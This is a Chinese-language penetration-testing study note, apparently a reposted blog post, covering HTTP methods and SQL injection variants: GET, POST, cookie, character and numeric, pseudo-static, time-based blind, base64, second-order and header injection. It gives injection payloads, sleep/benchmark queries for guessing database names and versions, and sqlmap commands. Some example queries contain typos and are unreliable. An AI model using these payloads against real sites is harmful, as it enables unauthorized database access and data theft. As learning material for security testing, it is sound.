18、渗透测试笔记_其他注入_20191111

1、常见的提交方式

方法 描述
GET 请求指定的页面信息,并返回实体主体
HEAD 类似GET请求,只不过返回的响应中没有具体的内容,用于获取报头
POST 向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致新的资源的建立和/或已有资源的修改
PUT 从客户端向服务器传送的数据取代指定的文档的内容
DELETE 请求服务器删除指定的页面
CONNECT HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器
OPTIONS 允许客户端查看服务器的性能
TRACE 回显服务器收到的请求,主要用于测试或诊断
PATCH 是对PUT方法的补充,用来对已知资源进行局部更新

2、常见注入

2.1、GET注入

  • get注入比较常见,例如:www.xxx.com/new.asp?id=11
  • 检测方式
    • /
    • -0
    • %bf’

2.3、POST注入

  • post提交方式主要适用于表单的提交/用于登录框的注入
  • 测试工具:穿山甲(pangolin)、sqlmap

2.4、COOKIE注入

  • cookie提交用于账号密码的cookie缓存

  • 可以通过cookie注入来突破简单的防注入系统

  • 注入方法:

    sqlmap.py -u http://www.xxx.com/new.asp --cookie "id=30" --level 2

2.5、字符型注入

  • www.xxx.com/news.asp?id=你好 'and 1=1#
    selcet * from new where id = '你好' and 1=1#'
    
  • www.xxx.com/news.asp?id=你好 'and 1=1'
    selcet * from new where id = '你好' and 1=1#
    selcet * from new where id = '你好' and 1=1'
    

2.5、数字型注入

  • www.xxx.com/news.asp?id=11
    select *from news where id=11
    
  • www.xxx.com/news.asp?id=11 and 1=1
    select *from news where id=11 and 1=1
    

3、其他注入

3.1、伪静态注入

扫描二维码关注公众号,回复: 9954364 查看本文章
  • http://das.dsad.com.cn/index.php/index/id/2223.html

  • http://das.dsad.com.cn/index.php/index/id/2223

  • 经常出现在asocms、phpweb、Thinkphp框架

3.2、延迟注入

3.2.1、简介

  • 延迟注入是通过页面返回的时间来判断的,不同的mysql数据库版本,延迟注入语句也不同

  • mysql >= 5.0 的可以使用sleep()进行查询

  • mysql<5.0 的可以使用benchmark()进行查询

3.2.2、benchmark()用法

benchmark(n,sql语句) n为查询次数

通过查询次数增多,时间变得缓慢来判断是否存在延迟

select benchmark(1000,select * from admin);

3.2.3、sleep()延迟注入语法

  • sleep()可以强制产生一个固定的延迟。

  • sleep()延迟注入核心原理

  • and if (true,sleep(5),0);==IF(1=1,true,false);
    
  • id=1 and sleep(5) //判断下是否存在延迟注入
    
  • and if(substring(usr),1,4)='root',sleep(5),1) //判断当前用户
    
  • and if(MID(version(),1,1)LIKE 5,sleep(5),1) //判断数据库版本信息是否为5
    
  • and if(ascii(substring(database(),1,4))>100,sleep(5),1) //猜解数据库名称
    
  • sqlmap --time-sec=2 //延迟注入
    

3.2.4、base64编码注入

  • 解码
  • 构造语句
  • 编码
  • i d = b a s e 6 4 d e c o d e ( id=base64_decode( id)

4、二阶注入

  • SQL注入一般可分为两种,一阶注入(普通的SQL注入)和二阶SQL注入。

4.1、一阶注入

  • 一阶SQL注入发生在一个HTTP请求和响应中,系统对攻击输入立即反应执行。

  • 一阶注入的攻击过程归纳如下:

    1. 攻击者在HTTP请求中提交恶意sql语句
    2. 应用处理恶意输入,使用恶意输入动态构建SQL语句
    3. 如果攻击实现,在响应中向攻击者返回结构

4.2、二阶注入

  • 二阶注入,作为sql注入的一种,他不同于普通的SQL注入,恶意代码被注入到web应用中不立即执行,而是存储到后端数据库,在处理另一次不同的请求是,应用检索到数据库中的恶意输入并利用它动态构建SQL语句,实现了攻击。

  • 二阶注入的攻击过程归纳如下:

    1. 攻击者在一个HTTP请求中提交恶意输入
    2. 用于将恶意输入保存在数据库中
    3. 攻击者提交第二个HTTP请求
    4. 为处理第二个HTTP请求,应用检索存储在后端数据库中的恶意输入,动态构建SQL语句
    5. 如果攻击实现,在第二个请求的响应中向攻击者返回结果
  • 二阶注入攻击方式

    攻击存储

    注入攻击

4.3、HTTP头注入

常见的http请求中存在注入的参数

  • User-agent
  • Referer
  • X-Forwarded-For
  • client_ip
发布了38 篇原创文章 · 获赞 135 · 访问量 2794

猜你喜欢

转载自blog.csdn.net/weixin_44023693/article/details/103012020
今日推荐